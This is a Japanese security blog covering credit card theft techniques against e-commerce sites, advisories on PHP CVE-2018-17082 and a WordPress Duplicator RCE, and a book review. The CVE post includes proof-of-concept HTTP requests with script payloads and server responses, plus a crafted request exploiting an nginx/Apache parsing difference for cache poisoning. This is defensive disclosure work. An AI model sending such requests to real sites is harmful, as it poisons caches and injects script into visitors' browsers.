2018年10月18日木曜日

クレジットカード情報盗み出しの手口をまとめた

はじめに

先日の日記「ECサイトからクレジットカード情報を盗み出す新たな手口」は多くの方に読んでいただき、ありがとうございました。この記事では、「新たな手口」ではなく、従来からある手口についてまとめてみました。

1.SQLインジェクション

古典的な手法としてはSQLインジェクションがあります。下図のように、SQLインジェクション攻撃により、DBに保存されたクレジットカード情報を盗み出します。
攻撃が成立する条件は下記のとおりです。
  • DBにクレジットカード情報が保存されている
  • ウェブサイトにSQLインジェクション脆弱性がある
いずれも、現在の観点では論外の状況と言えますのでさすがに頻度は減っています。今年6月1日から施行されたカード情報非保持化により、今後はほとんど見られなくなると予想されます。過去の代表的な事例には以下があります。



2.バックドアを設置し、ログファイル等からカード情報を盗む

次は、ログファイルなどにカード情報が記録されているウェブサイトに対して、攻撃者がバックドアプログラムを設置して、バックドア経由でログファイルをダウンロードする攻撃です。
攻撃が成立する条件は下記の通りです。
  • ログファイル等にカード情報が保存されている
  • ウェブサイトに外部から任意コード実行(RCE; Remote Code Execution)可能な脆弱性(OSコマンドインジェクション等)がある
ログファイルにカード情報を記録することがあるのかという疑問がありますが、例えば、決済代事業者から提供される決済APIをデバッグモードのまま動作させていると、カード番号等がログに記録され、それが漏洩するケースがあります。イプサ事件等が該当します。

【セキュリティ ニュース】イプサ、不正アクセスの調査結果を公表 - デバッグモードによりカード情報残存

また、OSコマンドインジェクションが今どきでもあるのかという疑問が生じますが、イプサ事件はSSI(Server Side Include)の不適切な利用が原因でしたし、またStruts2の脆弱性により複数のカード情報漏洩事件が発生しています。
この手口もカード情報非保持化により対策できるので、今後はほとんど見られなくなると予想されます。

3.バックドアを設置しDBからカード情報を盗む

2の変形ですが、バックドアからファイルを盗むのではなくDBアクセスして情報を盗む手口も見られます。下図はエイベックス・グループ・ホールディングス株式会社の「個人情報不正アクセスに関する調査報告書」P8から「図表2」を引用したものです。
バックドアプログラムを設置後に、「DB管理ソフトウェア」を設置され、バックドアにより窃取したDBのIDとパスワードを用いて外部からDBにアクセスしたとされます。
DB管理ソフトウェアとは、phpMyAdminのようなものを想像いただければよいと思いますが、現実に使われたものはAdminerではないかと推測します。AdminerはPHPファイル1個だけからなるDB管理ソフトウェアであり、設置が容易なので、元々汎用のソフトウェアではありますが、この種の攻撃には便利に使えてしまうという側面があります。

エイベックスの事件ではカード情報は窃取されていませんが、有名なサウンドハウス事件は実際にバックドアが設置され、そこからDBアクセスしてカード情報が盗まれたと報告されています。参照している報告書では、SQLインジェクション攻撃によりバックドアを作成したと推測しています。

攻撃が成立する条件は下記の通りです。

  • DBにクレジットカード情報が保存されている
  • ウェブサイトに外部から任意コード実行(RCE; Remote Code Execution)可能な脆弱性(OSコマンドインジェクション等)がある

この手口もカード情報非保持化により対策できるので、今後はほとんど見られなくなると予想されます。

4.カード情報入力フォームを改ざんして入力中のカード情報を盗む

最近の主流の方法と筆者が考えている方法です。カード情報入力フォームを改ざんして、カード情報を外部に流出させるというものです。下図は、攻撃者がECサイトを攻撃して、JavaScriptによる仕掛けを設置している様子です。


この「仕掛け」がある状態で利用者がクレジットカード情報をフォーム入力すると、確認ボタン押下などのタイミングで、入力フォーム上のデータを攻撃者が管理するサーバーに送信します。


この方法だと、「仕掛け」の設置後に入力されたカード情報のみが得られるわけですが、現実には100件もカード情報が得られれば、悪用には十分でしょう。
このパターンが日本で最初に報告されたのは、2013年3月に発生したJINSオンラインショップからのカード情報漏洩で、最大2,059件のカード情報が漏洩し、そのうち20件が悪用(未遂含む)されたとあります。
この攻撃が成立する条件は以下のとおりです
  • カード情報入力画面が改ざんできる脆弱性がある
現実には、RCE可能な脆弱性が多く用いられているようです。JINSオンラインショップ事件の場合は、Struts2のS2-016が悪用されました。
最近の主流の手口と筆者が推測する根拠としては以下のブログ記事を参照ください。
この手口は、カード情報非保持化の実装の中で、リダイレクト型では対策できる(決済代行事業者のサイトは安全と想定)ものの、JavaScript型(トークン決済)では対策できません。決済代行事業者の多くがJavaScript型決済をさかんに宣伝していることと、リダイレクト型がECサイト事業者に忌避される傾向があることから、今後もこの手口は残ると予想します。

5.カード情報入力フォームの画面遷移中に偽の入力フォームを挟む

最近、SOKAオンラインストア事件に初めて報告された手口です。概要の図のみ掲載しますが、詳しくは先日のブログ記事「ECサイトからクレジットカード情報を盗み出す新たな手口」を参照ください。


この手口はクレジットカード情報非保持では対策できないため、先のブログ記事でも言及したように、今後のカード情報窃取手口の主流となる可能性が高いと筆者は予想しています。

対策

いずれの手口も、ECサイトの脆弱性が原因ですので、まずはECサイトの脆弱性を解消することで対策になります。主なものには以下があります。
  • ECサイトアプリケーションの脆弱性解消
  • ECサイトアプリケーションが利用しているソフトウェア部品(フレームワーク等)の脆弱性解消
  • ミドルウェアやOSの脆弱性解消
しかし、カスタムアプリケーションの脆弱性をゼロにすることも困難であるということと、Struts2の脆弱性にみるように脆弱性情報発表から攻撃開始に至る期間が極めて短いケースが増えていることから、以下に示す保険的な対策をあわせて推奨します。
  • WAF(Web Application Firewall)の導入
  • ファイルパーミッションとファイルオーナーの適切な設定
  • 改ざん検知システムの導入
詳しくは、先日のブログ記事から「対策」の項をお読みください。

まとめ

クレジットカード情報の盗み出しの手口について紹介しました。
純粋なSQLインジェクション攻撃によるものが減少しつつある一方、SQLインジェクション以外の手口には、外部からのファイル設置やファイル改ざんが伴うことがわかります。まずは脆弱性解消が対策の基本ではありますが、ファイル改ざんを防ぐことでも被害の防止ないし緩和の効果が大きいことが理解いただけるかと思います。

PR

EGセキュアソリューションズはECサイトのセキュリティ強化のお手伝いをしています。お気軽にご相談ください。サービスメニューはこちら

2018年10月15日月曜日

ECサイトからクレジットカード情報を盗み出す新たな手口

エグゼクティブサマリ

聖教新聞社が運営する通販サイト「SOKAオンラインストア」から2,481件のクレジットカード情報が漏洩した。リリースによると、漏洩に使われた手口は従来とは異なるもので、改正割賦販売法の実務上のガイドラインである「クレジットカード情報非保持化」では対策できないものであった。

はじめに

今年の9月4日に聖教新聞社の通販サイトSOKAオンラインストアからクレジットカード情報漏洩の可能性がリリースされました。以下は聖教新聞社から運営委託されているトランスコスモス株式会社のリリースです。
「SOKAオンラインストア」の件
このたび、弊社が聖教新聞社様より運営を委託されている「SOKAオンラインストア」において、クレジットカード情報を入力して商品をご注文いただいた一部のお客さまのクレジットカード情報が、第三者によって不正に取得された可能性があることが発覚い
たしました。

https://www.trans-cosmos.co.jp/company/news/pdf/2018/180904.pdf より引用
今年の6月1日に改正割賦販売法が施行された後に起きたカード情報漏えい事件なので手口に注目しておりましたが、比較的詳細の手口が10月9日に公表されました。以下はトランスコスモス社からの続報です。
2. 調査結果と原因
調査報告書によると、聖教新聞社様より当該サイトの運営を委託されている弊社が契約しているサーバーに対して、7 月 30 日に不正ファイルを混入され、プログラムが改ざんされました。そのためお客様が商品を購入する際に、偽のカード決済画面に遷移する仕組みとなっており、カード情報を不正に取得された可能性があることが発覚しました。
また、偽のカード決済画面にてカード情報を入力して送信ボタンを押すとエラーが表示され、本来の当該サイトの画面に転送されるという非常に巧妙な仕組みになっておりました。併せて、データベースに不正にアクセスされ、個人情報を不正に取得された可能性があることも発覚しました。

https://www.trans-cosmos.co.jp/company/news/pdf/2018/181009.pdf より引用
これはとても興味深い手口です。以下、図を用いて、クレジットカード情報を抜き取る手口を説明します。

どのような手口か

筆者はSOKAオンラインストアの決済時の画面遷移は把握していないのですが、本年6月1日に改正割賦販売法が施行され、経産省の説明によると、『クレジット取引セキュリティ協議会の「実行計画」は、割賦販売法に規定するセキュリティ対策の実務上の指針と位置付けられて』いることから、最新の実行計画2018に示されている以下の二種類の方法のいずれかであったと推測します。
  • リダイレクト(リンク)型
  • JavaScript型 ※トークン型
以下に示す方法は上記のいずれにも攻撃可能ですが、ここでは、一般的にはより安全とされているリダイレクト型を想定して説明します。
下図は、リダイレクト型決済の画面遷移です。リダイレクト型の場合、カード情報の入力画面はECサイトにはなく、決済代行事業者が運営する画面に遷移した後にカード情報を入力することになります。リダイレクト型決済は、ECサイト側にカード情報入力画面がないことから、他の方法(トークン型等も含め)にくらべて相対的に安全であると考えられてきました。

次に、SOKAオンラインストアに対する攻撃の様子を下図に示します。リリースによると、「偽のカード決済画面に遷移する仕組み」を攻撃者に作れられたとしています。偽のカード決済画面がどのサイトにあったかは明らかにされていませんが、プログラムの改ざんが行われたとリリースされていることから、偽のカード決済画面をECサイト上に作成することも技術的には可能であったはずです。下図はその前提で作成したもので、偽のカード決済画面は赤い枠で示しています。

そして、決済画面への遷移を偽画面の方に誘導します。偽画面は攻撃者が作成したものなので、利用者が入力したカード情報は、図の右下に示すように、攻撃者の元に送信されます。
しかし、このままでは正常な決済が行われないため、利用者が不審に思い、問い合わせなどから比較的短期間に「仕掛け」が露呈するはずです。この攻撃が巧妙なのは、いったん「決済エラー」を表示した上で、正常系の決済画面に誘導するところです。利用者は2度カード情報を入力することにはなりますが、カード番号の入力は16桁数字を正確に入力する必要があり間違いが入りやすいので、それほどは不審に思われなかっただろうと推測されます。
この仕組みにより、リリースによると、「2018年7月30日~2018年8月24日に、カード情報を入力して商品をご注文されたお客様 2,481 名」のカード情報が漏洩した可能性があるとのことです。

従来の手口との比較

ECサイトからのカード情報漏洩として古典的なものには、SQLインジェクション攻撃によるものや、ログファイルからの窃取などがあります。これらは、カード情報をECサイト側で「非保持」とすることで防ぐことができます。
しかし、近年は(非保持化の要求以前から)カード情報をECサイト側で保存することが少なくなってきたので、入力フォームを改ざんしてユーザが入力したカード情報を盗むという方法が増えています。その詳細が公開されているわけではありませんが、筆者はJavaScriptを入力フォームに注入することで、カード情報を外部に送信しているのではないかと推測します。この手口は、日本では2013年3月のJINS事件以降発生しており、その状況をブログ記事にまとめたことがあります(下記)。
そして、この手口に対しては、前述の「非保持化」対応のうち、リダイレクト型であれば対策でき、JavaScript型では対応できないことから、「リダイレクト型の方が相対的に安全」という見方をしておりました。
しかしながら、リダイレクト型・JavaScript型の双方に対応した今回の攻撃により、結局経産省その他が推進している「非保持化」のソリューションは五十歩百歩の効果しかない状態になったなという感想を持っています。

対策

この手口に対するECサイト側の対策ですが、まずは基本的な以下の対策をとる必要があります。
  • ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策(パッチ適用など)
  • 管理者等のパスワードを強固にする(可能ならばインターネットからは管理者ログインできないよう設定する)
加えて、以下の対策を推奨します。
  • Web Application Firewall(WAF)の導入
  • ファイルパーミッションとファイルオーナーの適切な設定
  • 改ざん検知システムの導入
最近のECサイトからのクレジットカード情報漏洩は、サイトの改ざんを伴うものが大半であることを考えると、ファイルパーミッションの設定と改ざん検知システムの導入は非常に効果があると考えられます。

とくに、ドキュメントルート下のディレクトリ(フォルダ)とファイルに対して、ウェブアプリケーションの権限で更新できないように設定すると、本稿で紹介した攻撃はできなくなります。この場合、単にファイルなどをリードオンリーに設定するだけでは不十分です。ウェブアプリケーションが動作するユーザがファイル等のオーナーになっている場合は、仮にリードオンリーの設定がされていても、攻撃者がまずchmodコマンドなどで書き込み権限を付与できるからです。
このため、ドキュメントルート下のファイル等は、ウェブアプリケーションが動作するユーザとは別のユーザをオーナーにしておくことが好ましいでしょう。一般的なレンタルサーバーではこの設定は難しい(ユーザを1種類しか使えない)ので、レンタルサーバーでECサイトを運営する場合は、脆弱性対処などに特に注意する必要があります。レンタルサーバーでは改ざん検知システムの導入は難しそうですが、最近はWAFが追加費用なしで使えるレンタルサーバーが増えているので、WAFをうまく利用できれば効果的だと考えます。

「非保持化」に対する思い

前述のように、今年の6月1日に改正割賦販売法が施行され、クレジットカード情報を扱うECサイト事業者にもカード情報保護が求められるようになりました。以下は割賦販売法の第三十五条の十六から括弧内の但し書きを抜いて引用したものです。
第三十五条の十六 クレジットカード番号等取扱業者は、経済産業省令で定める基準に従い、その取り扱うクレジットカード番号等の漏えい、滅失又は毀損の防止その他のクレジットカード番号等の適切な管理のために必要な措置を講じなければならない。

割賦販売法 | e-gov より引用
そして、「必要な処置」のガイドラインになるのが、『クレジット取引セキュリティ協議会の「実行計画」』であり、経産省から以下のように「お墨付き」が与えられています。
クレジット取引セキュリティ協議会の「実行計画」は、割賦販売法に規定するセキュリティ対策の実務上の指針と位置付けられており、「実行計画」に掲げる措置又はそれと同等以上の措置を講じている場合には、セキュリティ対策に係る法的基準を満たしていると認められます。

クレジットカード取引におけるセキュリティ対策の強化に向けた実行計画2018(「実行計画2018」)を取りまとめました~国際水準のクレジットカード決済環境の整備を進めます~(METI/経済産業省) より引用
この「実行計画」の柱は「クレジットカード情報の非保持化」であり、実行計画2018には以下のような記述さえ見られます。
2.加盟店におけるカード情報の非保持化の推進について
本協議会は、加盟店におけるカード情報保護のための第一の対策として非保持化を基本とした取組を推進する。
非保持化は PCI DSS 準拠とイコールではないものの、カード情報保護という観点では同等の効果があるものと認められるため、実行計画においては、PCI DSS 準拠に並ぶ措置として整理する。

クレジットカード取引におけるセキュリティ対策の強化に向けた実行計画-2018-【公表版】 より引用
そんなわけねーだろ、と心の中で突っ込んでいたわけですが、あまりに心配なので、ツテをたどって関係者に連絡を試みて不発に終ったりしておりました。なので、今回の事件を見て、「それ見たことか」という気持ちがないわけではありません。
しかしながら、同時に以下のような思いも芽生えました。ECサイト事業者の大半は中小零細企業であり、いきなりPCI DSS準拠を求めるような施策も現実的ではありません。非保持化という施策は、現状でなんとか実行可能で、対策としての効果も見込める(ただし十分とは言えない)ラインをひねり出したものかもしれません(私の妄想ですが)。前述の対策の際に、「レンタルサーバーは使うな」と書かなかったのですが、その理由は「零細なECサイト事業者がレンタルサーバーからVPSに移っても別の問題が生じるしな」という思いがあったからです。
いずれにせよ、今回のような手口が広がれば、今後の「実行計画」の改版の際には、より実効的な内容が求められることになると思います。

まとめ

SOKAオンラインストアからのクレジットカード情報漏洩手段について紹介しました。紹介した手口は、クレジットカード情報「非保持化」では対策できないものであり、今後のクレジットカード情報漏洩事件の主流となる可能性があります。事業者側の施策としては、基本をおろそかにしない一方で、サイト改ざんには特に重点的な施策が望ましいと考えます。具体的にはファイルパーミッションやファイルオーナーの設定、および改ざん検知システムの導入です。

【PR】

【10月24日(水)・11月7日(水)】
『体系的に学ぶ 安全なWebアプリケーションの作り方 第2版』基礎講座・応用講座 ~徳丸本によるホワイトハッカー入門~ 申し込み受付中

2018年9月25日火曜日

PHPの脆弱性 CVE-2018-17082 によるキャッシュ汚染についての注意喚起

エグゼクティブサマリ

PHPの脆弱性CVE-2018-17082はXSSとして報告されているが、現実にはXSSとしての攻撃経路はない。一方、Apacheのmod_cacheによるキャッシュ機能を有効にしているサイトでは、キャッシュ汚染という攻撃を受ける可能性がある。

概要

PHPの現在サポート中のすべてのバージョンについて、XSS脆弱性CVE-2018-17082が修正されました。以下は対応バージョンであり、これより前のすべてのバージョンが影響を受けます。ただし、Apacheとの接続にApache2handlerを用いている場合に限ります。
  • PHP 5.6.38
  • PHP 7.0.32
  • PHP 7.1.22
  • PHP 7.2.10
PHP 5.5以前も対象であり、これらは脆弱性は修正されていません。

脆弱性を再現させてみる

この脆弱性のPoCは、当問題のバグレポートにあります。

PHP :: Sec Bug #76582 :: XSS due to the header Transfer-Encoding: chunked

要約すると、Apacheハンドラを使用しているPHP環境に対して、壊れたchunkedエンコーディングのリクエストを送信すると、リクエストボディの内容がレスポンスにそのまま付加されてしまうというものです。
以下は、サンプルとしてもちいるPHPスクリプトです。拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」から /31/31-001.php の転用です。

<body>
<?php echo htmlspecialchars(date('G:i')); ?>
</body>
これを以下のURLでアクセスします。88ポートを使っているのは、80ポートだとnginx経由となり、攻撃が刺さらないからです(後述)。
http://example.jp:88/31/31-001.php
このURLによるHTTPリクエストを以下の赤字のように変更します。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked
Content-Length: 32

<script>alert('Hacked')</script>
以下のHTTPレスポンスが返りますが、赤字に示すように、リクエストボディに付加した文字列が追加されています。
HTTP/1.1 200 OK
Date: Sun, 23 Sep 2018 07:32:44 GMT
Server: Apache/2.4.25 (Debian)
X-UA-Compatible: IE=edge
Content-Length: 52
Connection: close
Content-Type: text/html; charset=UTF-8

<body>
16:32</body>
<script>alert('Hacked')</script>
ちなみに、Transfer-Encoding: chunked の場合、正しいリクエストは以下となります。20は16進数ですので、十進数にすると32ということになります。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked

20
<script>alert('Hacked')</script>
0
             (空行)
CVE-2018-17082は、壊れたchunkedエンーコーディングの場合の処理にバグがあり、不正な結果を返すというものです。

CVE-2018-17082はXSSとしては攻撃できない

この脆弱性は元の報告やNVD等ではXSSとして報告されていますが、通常のXSSとは脆性の成り立ちが異なりますし、そもそもXSS攻撃はできません。
XSSとして攻撃するためには、被害者のブラウザから壊れたchunkedエンコーディングのリクエストを送信する必要がありますが、それは不可能です。このため、XSS攻撃はできません。

CVE-2018-17082によるキャッシュ汚染(mod_cache編)

しかし、脆弱性の影響がないわけではなく、キャッシュ汚染という手法が使える場合があります。筆者が調査した範囲では、プロキシサーバー形式のキャッシュサーバーでは影響がなく(後述)、Apacheのmod_cacheを用いたキャッシュ(リバースプロキシではなくApacheのレスポンスをダイレクトにキャッシュする場合)では影響があります。
以下は、キャッシュ汚染の模式図です。


攻撃対象サイト(Target site)は、Apacheとmod_cacheによるキャッシュを備えています。
攻撃者(Attacker)は、仕掛けを含むリクエストを送ると、レスポンスにJavaScriptを含ませることができますが、その際のレスポンスがファイル等にキャッシュされます。一般利用者が、キャッシュの有効期間中に同じURLにアクセスすると、汚染されたレスポンスを受け取ることになります。
攻撃の様子をデモ動画として用意しました。以下は、mod_cahceを用いてWordPressを高速化をしているサイトを想定したものです。




CVE-2018-17082によるキャッシュ汚染(キャッシュサーバー編)

一方、リバースプロキシによるキャッシュサーバーでは影響がないようです。
その理由は、壊れたリクエストを送るとリバースプロキシの時点でエラーになり、リクエストがApacheまで届かないためです。
このパターンについて色々調べてみました。リバースプロキシではエラーにならないが、Apacheではエラーになるパターンがあれば、攻撃できる可能性があります。そのようなパターンとして以下を発見しました。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked

5 <script>alert('Hacked')</script>
ABCDE
0

このリクエストは、nginxだと、リクエストボディの 5 の後に続く空白以降を無視するので、chunkedエンコーディングとしてバリッドとみなされ、エラーになりません。一方、Apacheだと空白以降を無視しないので、以下のようにエラーになります。
HTTP/1.1 400 Bad Request
Date: Mon, 24 Sep 2018 08:36:24 GMT
Server: Apache/2.4.25 (Debian)
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at example.jp Port 88</address>
</body></html>
5 <script>alert('Hacked')</script>
やったーと思いましたが、nginx経由でApacheにリクエストを送信すると、エラーになりません。どうも、nginxがApacheにリクエストを中継する際に、チャンク長 5の後の余計な文字列を除去しているように思います。ということで、nginx(他にもsquid、Apache+mod_proxy)によるプロキシサーバー経由では、攻撃を再現させることはできていません。

影響を受けるサイト

当脆弱性が再現するのは Apacheとの接続にApache2handlerを用いていて、以下のPHPバージョンを利用しているケースです。
  • PHP 5.5以前
  • PHP 5.6.37 以前
  • PHP 7.0.31 以前
  • PHP 7.1.21 以前
  • PHP 7.2.9 以前
ただし、Apache + mod_cahce によるキャッシュを用いている場合のみ攻撃経路が判明しています。したがって、mod_cacheによるキャッシュを用いているPHPサイトは至急のバージョンアップまたはパッチ適用を強く推奨します。
その他の場合でも、対象のPHPバージョンを使っている場合、早めの対応を推奨します。

各Linuxディストリビューションの対応

RHEL / CentOS / Debian / Ubuntuの主要Linuxディストリビューションのうち、本校執筆時点では Ubuntuのみが対応を完了しています。Ubuntu 14.04、Ubuntu 16.04、Ubuntu 18.04が対象です。その他のディストリビューションは未対応のようです。

対策

PHPの最新版(5.6以降)をインストールすることで対策となります。Ubuntuの標準パッケージのPHPを使っているサイトは、前述のように、最新のパッチを適用することでも対策になります。
PHPのバージョンアップやパッチ適用が当面できないという場合は、CGIあるいはFast CGIモードでPHPを動かすことでも対策になります。また、HTTPDとしてApacheの代わりにNginx等を用いることでも対策になります。


まとめ

PHP の脆弱性 CVE-2018-17082 について報告しました。
当該脆弱性はXSSとしての攻撃はできませんが、キャシュ汚染としての攻撃が可能であることを示しました。PHPスクリプトの中身によらず攻撃が可能なので、攻撃可能な条件に該当するサイトは即時の対応を推奨します。そうでなくても、該当バージョンのPHPをお使いのサイトは、早めのバージョンアップまたはパッチ適用を推奨します。


免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびEGセキュアソリューションズ株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。

PR

【10月24日(水)・11月7日(水)】徳丸本によるホワイトハッカー入門 ~基礎講座・応用講座~ 開講 申し込み受付中

2018年9月10日月曜日

WordPressのプラグインDuplicator 1.2.40以前にリモートコード実行の脆弱性

エグゼクティブサマリ

WordPressの人気プラグイン Duplicator(1.2.40以前) にリモートから任意コード実行可能な脆弱性が発見された。Duplicator はWordPressサイトを複製することのできるプラグインであり、Duplicatorにより複製したサイト(複製先)が影響を受ける。このため、プラグインのアップデートだけでは対策にならない。詳細は対策の項を参照されたし。

概要

WordPressのプラグイン Duplicator はWordPressサイトを手軽に複製できるプラグインであり、サイトの移行や複製に広く用いられています。Duplicatorは複製元にプラグインとして導入して、移行用の二種類のファイルを生成します。

Duplicator → installer.php             インストーラー
               2018-xxxxxxxxxxxxxx.zip   アーカイブファイル

これらのファイル移行先サイトにアップロードして、installer.phpを実行することで、サイトの複製を作成します。
このinstaller.phpに脆弱性があり、任意コード実行を許す結果となります。

脆弱性の原因

脆弱性の概要は以下の記事(英文)にて紹介されています。ただし、即実行可能なPoCは含まれていません。

Duplicator Update Patches Remote Code Execution Flaw

※ 2018年9月10日 17:40追記 : この記事本文にはPoCはありませんが、リンク先(PDF)にて即実行可能なPoCが記載されています。ブックマークコメントにてご指摘いただきました。ありがとうございました。

この記事の内容から、当該脆弱性を再現したところ、リモートコード実行が確認できました。PoCが公開されていないこともあり、悪用防止のため、原因と攻撃の概要のみ説明すると、下記の通りです。
  • installer.phpはwp-config.php (WordPressの設定ファイル)を自動生成する
  • この生成部分にPHPコードのエスケープ漏れがあり、外部からの入力がPHPコードとして実行される

攻撃ステップは、以下の通り。
  1. 複製先サイトに installer.php が残っていることを確認する
  2. installer.phpを実行し、パラメータとしてPHPコードをインジェクションする
  3. 生成後の wp-config.php にアクセスし、任意コードを実行する
リモートコード実行例

対策

Duplicator 1.2.42 (現時点の最新バージョン)にて対策されています。即時のバージョンアップ(複製元、複製先の両方)を推奨しますが、対策はこれだけでは不十分です。
既に Duplicator で複製したサイト(複製先)は、installer.phpおよび installer-backup.php を即時削除する必要があります。このファイルに限らず、移行により生成されたファイルのうち、サイト閲覧に必要ないファイルは削除を推奨します。
複製先に脆弱な Duplicator で生成された installer.php が残っている限り、複製元でDuplicatorをバージョンアップしても、installer.phpに対する攻撃は受けるため、上記は重要です。
一般論としても、このようなセットアップ用のスクリプト類は、セットアップ完了後はただちに削除すべきですし、セットアップ中も外部からアクセスできないように、アクセス制御すべきです。

PR

【10月24日(水)・11月7日(水)】徳丸本によるホワイトハッカー入門 ~基礎講座・応用講座~ 開講 申し込み受付中

2018年3月6日火曜日

安全なWebアプリケーションの作り方改訂のお知らせ

徳丸本こと、「体系的に学ぶ 安全なWebアプリケーションの作り方」は、2011年3月の発売以降大変多くの方に読んでいただきました。ありがとうございます。
ただ、発売から既に7年が経過し、内容が古くなってきた感は否めません。たとえば、クリックジャッキングの説明はほとんどないですし、OWASP Top 10 2017で選入された安全でないデシリアライゼーションやXXEの説明もありません。なにより、Web APIやJavaScriptのセキュリティ等がほとんど書かれていないことが課題となっていました。

そこで、版元のSBクリエイティブと相談して、この度改訂することにいたしました。3月末脱稿、6月頃発売の見込みです。

改訂にあたり、以下を考えています。

  • Web APIとJavaScriptに関する説明を4章に追加
  • XHR2対応に向けてCORSの説明を3章に追加
  • 携帯電話の章は丸ごと削除して、別の内容に差し替え(お楽しみに)
  • OWASP Top 10 2017対応(安全でないデシリアライゼーション、XXEを追加)
  • Macに対応。VMwareからVirtualBOX、FiddlerからOWASP ZAPに変更
  • SQLインジェクションの説明はPostgreSQLからMySQLに変更
  • 全体的に細かい変更を予定
  • 100ページを上限としてページ数は増える見込み
  • CD-ROM/DVD-ROMは添付せずダウンロードになる
  • 今回はレビュアーの公募はしません

おそらく、「本を買ったばかりなのに」という方もおられるとは思いますが、タイミングの問題は避けられないことでご容赦いただきたいと思います。できるだけそのような思いをする人を少なくするために、版元の許可を得て早めの告知をさせていただきます。
一方で、版元は第1版の増刷はもうしないと思いますので、(あまりいないとは思いますが)第1版が欲しい方はお早目の入手をお勧めいたします。

2018年1月31日水曜日

[書評]サイバー攻撃 ネット世界の裏側で起きていること

中島明日香氏の近著『サイバー攻撃 ネット世界の裏側で起きていること』を読んだので紹介したい。本書は、一見すると入門者向けの初歩的なセキュリティ解説書の体裁をとっているが、その内部に著者の恐ろしい野望が秘められていると感じた。

重要事項説明

  • 著者と評者には特筆すべき利害関係はない
  • 評者は本書を自費で購入した(献本等ではない)
  • この記事のリンクにはアフィリエイトが含まれる

はじめに

本書は、ブルーバックスの1冊として、サイバーセキュリティの分野の、特に脆弱性について焦点をあて、入門的な解説を試みるものである。本書6ページから、「本書で扱う内容」の一節を引用しよう。
本書の目的は、適切なサイバー攻撃対策を講じる際の一助となることです。そこで、脆弱性そのものとそれを突く攻撃手法について、情報科学の知識を持たない人でも理解できるように、基本的なところから解説します。
この一節だけでも、本書の狙いが意欲的なものであることが分かる。情報科学の基礎知識のない人に対して、脆弱性の成り立ちを説明することがどんなに困難であるか、評者は身にしみて実感している。だが、私が驚いたのはここではなく、本書の目次である。目次を引用しよう。
第1章 サイバー攻撃で悪用される「脆弱性」とは何か
第2章 サイバー攻撃は防げるか:脆弱性の発見・管理・修正
第3章 プログラムの制御はいかにして乗っ取られるか:バッファオーバーフローの脆弱性
第4章 文字列の整形機能はいかにして攻撃に悪用されるか:書式指定文字列の脆弱性
第5章 いかにしてWebサイトに悪意あるコードが埋め込まれるか:クロスサイト・スクリプティングの脆弱性
第6章 機密情報はいかにして盗まれるか:SQLインジェクションの脆弱性
第7章 脆弱性と社会:脆弱性市場からサイバー戦争まで
第4章に注目いただきたい。何と「書式指定文字列の脆弱性」(CWE-134)が紹介されているではないか。よりによってマニアックな…ということもあるが、CWE-134を入門者向けに簡単なイラスト等で比喩的に説明するのは不可能ではないのか。著者はどうやってこれを説明するつもりなのか、評者の第一の興味はここにあった。

本書の構成

ここで本書の構成を概観しよう。
第1章では、脆弱性とは何かということで、「ソフトウェアとは何か」というところから話を起こしている。著者は脆弱性を「欠陥の中でとくに第三者が悪用可能なもの」と定義しており、これは評者の定義「脆弱性は悪用可能なバグ」とよく整合していて評者の満足度が少し高くなったw それはともかく、著者は、ソフトウェアの説明をその分類(ファームウェア、OS、ミドルウェア、アプリケーション)から丁寧かつ簡潔に始め、脆弱性が悪用されると何が怖いのか、なぜ脆弱性は生まれるのかというポイントを説明していく。
第2章は「サイバー攻撃は防げるか」として、脆弱性の歴史や、脆弱性情報共有のためのCVE、CVSS等の仕組み、脆弱性のライフサイクルやゼロデイ攻撃の説明、脆弱性の現状等を概観する。
第3章から第6章は、代表的な脆弱性として、バッファオーバーフロー、書式指定文字列の脆弱性、クロスサイト・スクリプティング、SQLインジェクションを取り上げ、詳しく説明していく。これらの章が本書の中核であろう。
第7章は、脆弱性と社会というテーマで、脆弱性にまつわる光と影のエコシステム(脆弱性報奨金・バグハンターや、脆弱性売買のブラックマーケット)の存在、サイバー戦争への言及と続き、最後は「いかにしてサイバー攻撃から身を守るか」で締められている。

本書の眼目は 3章から6章

前述のように、本書の眼目は、脆弱性というものを基本から解き明かす3章から6章にある。驚くべきことに、著者は、脆弱性を説明するに際して、比喩に逃げずに正面から脆弱性の成り立ちについて説明している。そのために、3章の冒頭は、簡素なC言語入門の様相を呈している。スタックオーバーフローについて理解するには、ソースコードをコンパイルして機械語にすること、関数や引数の概念、オートマチック変数を実現するスタックフレーム等の概念が必要になるが、著者は、プログラミングを知らない読者に向けて、これらを簡潔に説明していく。その上で、スタックベースのバッファオーバーフローの実際について、C言語ソース、アセンブリ言語のソース、機械語、図表等を交えながら丁寧に説明する。
バッファオーバーフローの実例として、著者はPHPの脆弱性 CVE-2011-1938 を取り上げているが、ここでも評者は驚くことになる。評者はかつて、この脆弱性をブログ記事で取り上げたことがあるからだ。

PHPのsocket_connect()関数における *つまらない* 脆弱性の話

当脆弱性を紹介した理由を著者は以下のように説明している。
本節で紹介したCVE-2011-1938の脆弱性は、ほとんど悪用される可能性はありません。なぜならば、攻撃者がsocket_connect関数の引数を指定できるケースはほとんどないためです。脆弱性の構造が単純で、初心者にもその仕組が把握しやすいため、この例を紹介しました。
実は評者も先のブログ記事で似たような説明をしているのだ。
memcpy関数でUNIXドメインソケットのソケット名をコピーしていますが、addr_lenのチェックをしていません。絵に描いたようなバッファオーバーフローですね…そもそもUNIXドメインのソケット名を外部から指定できるというシナリオが「あり得ない」状況です。UNIXドメインのソケット名を外部に公開する必要がなく、任意のソケット名を外部から指定できることによる脆弱性も考えられるからです。
